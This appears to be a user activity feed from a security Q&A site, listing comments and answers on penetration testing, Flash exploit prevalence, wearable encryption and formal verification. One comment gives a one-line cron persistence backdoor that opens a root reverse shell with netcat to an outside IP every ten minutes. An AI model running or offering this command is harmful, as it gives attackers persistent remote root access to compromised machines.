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comment Is there an equivalent of meterpreter's “run persistence” for Linux?
echo "*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash" >> /etc/crontab && service cron restart
Jul
25
answered Will hacking (pentesting) a live website from a VM improve or hinder my hacker anonymity?
Jul
25
answered Airprobe and kraken related questions
Jul
24
awarded  Constituent
Jul
20
awarded  Caucus
Jul
12
comment Why are Adobe Flash exploits found so often?
Yes, and managed languages provide an easier ability to understand and "manage" the data and control flows, which was my second point. Load 30 of the top FOSS projects from all 25-supported programming languages into SonarQube, doxygen, or Understand and see what I mean -- the unmanaged languages will have a deeper set of flows and complexities to them. Yes, sir, all will have bugs. I am not new to app development with 21 years under my belt -- I did not claim as much before.
Jul
10
comment Why are Adobe Flash exploits found so often?
There are a lot of managed languages besides Java. In fact, I agree with you, the JVMs have way too many bugs. I said "managed language" and you jumped to Java, not me. My original answer even cited that Chrome had done away with Java applets, a good move on Google's part.
Jul
9
answered Sharing Nmap scan results in a web page
Jul
9
comment Why are Adobe Flash exploits found so often?
@deviantfan: Yes, but of the list I gave above, only integer overflows affect managed languages. The others do not, yet you see them in that link of commonly cited vulns for Flash Player very, very often.
Jul
8
answered Why are Adobe Flash exploits found so often?
Jul
5
revised Open-source penetration-test automation
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Jun
29
revised Open-source penetration-test automation
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Jun
29
revised Open-source penetration-test automation
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Jun
15
comment Android wear, Tizen Encryption
@ pqsk : Thank you. Here also is a better analysis on Android Wear -- labs.mwrinfosecurity.com/blog/2015/05/22/…
Jun
15
comment Android wear, Tizen Encryption
To roughly summarize, Wear and Tizen don't do any full-disk encryption, so encryption must be provided by the app, preferably at the transport layer to a TLS-based service (and then stored securely on a server). Three Wear devices can currently be rooted, and as such, strace, gdb, and other memory-dumping, hooking, and software/process tracing/debugging tools can be leveraged to read data at the system-call, kernel, or other userspace layer. Libraries can be shimmed and methods/functions can be clobbered.
Jun
15
comment Android wear, Tizen Encryption
Well, I can't answer until someone reopens this question but check out these resources in the meantime -- conference.hitb.org/hitbsecconf2015ams/materials/Whitepapers/… -- conference.hitb.org/hitbsecconf2015ams/materials/…
Jun
15
comment Android wear, Tizen Encryption
@ pqsk : Ok great, that's what I thought but glad you clarified. Now on to an answer!
Jun
15
comment Automated tools for applying formal methods to verify security policy in existing software
@ Steve DL: added clarity, thank you for the feedback
Jun
15
revised Automated tools for applying formal methods to verify security policy in existing software
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Jun
15
comment Automated tools for applying formal methods to verify security policy in existing software
there is also langsec.org